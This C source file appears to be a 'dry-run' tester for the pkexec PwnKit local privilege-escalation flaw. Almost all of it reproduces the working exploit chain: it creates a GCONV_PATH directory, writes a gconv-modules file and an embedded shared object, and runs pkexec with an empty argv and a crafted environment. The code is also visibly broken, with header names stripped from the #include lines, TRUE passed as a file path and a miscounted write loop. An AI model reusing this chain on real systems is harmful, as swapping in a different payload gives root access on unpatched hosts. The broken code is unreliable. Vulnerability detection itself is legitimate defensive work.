#include #include #include #include #include #include #include #include #include #include "pwnkit-dry-run.so_data.h" #define TESTDIR "/tmp/pwnkit-dry-run" #define EXPLOITABLE_OR_ERROR 1 static int removedir(const char *path) { struct dirent *entry; DIR *directory = opendir(path); char filename[PATH_MAX + 1]; if (directory == NULL) return -1; while ((entry = readdir(directory)) != NULL) { if (!strcmp(".", entry->d_name)) continue; if (!strcmp("..", entry->d_name)) continue; snprintf(filename, PATH_MAX, "%s/%s", path, entry->d_name); if (entry->d_type == DT_DIR) removedir(filename); else remove(filename); } closedir(directory); return remove(path); } static int copyfile(const char *input, const char *output) { int ret = 0; int ofd = 0; FILE *in, *out; unsigned char buffer[4096]; in = fopen(input, "rb"); if (in == NULL) return -1; ofd = open(output, O_WRONLY | O_CREAT, 0700); if (ofd < 0) return -1; out = fdopen(ofd, "wb"); if (out == NULL) return -1; while (!feof(in) && !ferror(in) && !ferror(out)) { size_t i = 0; int r = fread(buffer, 1, sizeof(buffer), in); for (i = 0 ; i < r && !ferror(in) && !ferror(out);) { int w = fwrite(buffer + i, 1, sizeof(buffer) - i, out); i += w; } } ret = ferror(in) || ferror(out); fclose(in); fclose(out); return ret; } static int createandwritefile(const char *dest, const char *content) { FILE *f = fopen(dest, "w"); if (f == NULL) return -1; fprintf(f, "%s\n", content); fclose(f); return 0; } static int createsharedobjectpwnkit(const char *outputname) { int ret = 0; int wrote = 0; int fd; FILE *f; fd = open(outputname, O_WRONLY | O_CREAT, 0700); if (fd < 0) return -1; f = fdopen(fd, "wb"); if (f == NULL) return -1; while (wrote < pwnkit_dry_run_so_len) { int w = fwrite(pwnkit_dry_run_so + wrote, 1, pwnkit_dry_run_so_len - wrote, f); wrote += w; } ret = ferror(f); fclose(f); return ret; } int main(int argc, char **argv) { pid_t p; int wstatus = 0; int exitcode = EXPLOITABLE_OR_ERROR; char * const args[] = { NULL }; char * const environ[] = { "pwnkit.so:.", "PATH=GCONV_PATH=.", "SHELL=/lol/i/do/not/exists", "CHARSET=PWNKIT", "GIO_USE_VFS=", NULL }; mkdir(TESTDIR, 0750); if (chdir(TESTDIR) != 0) return EXPLOITABLE_OR_ERROR; mkdir("GCONV_PATH=.", 0750); if (copyfile(TRUE, "GCONV_PATH=./pwnkit.so:.") != 0) return EXPLOITABLE_OR_ERROR; if (createandwritefile("gconv-modules", "module UTF-8// PWNKIT// pwnkit 1") != 0) return EXPLOITABLE_OR_ERROR; if (createsharedobjectpwnkit("pwnkit.so")); p = fork(); switch (p) { case -1: perror("fork"); break; case 0: return execve("/usr/bin/pkexec", args, environ); default: wait(&wstatus); while (!WIFEXITED(wstatus)) wait(&wstatus); exitcode = WEXITSTATUS(wstatus); break; } removedir(TESTDIR); if (exitcode != 0) return 1 - EXPLOITABLE_OR_ERROR; return EXPLOITABLE_OR_ERROR; }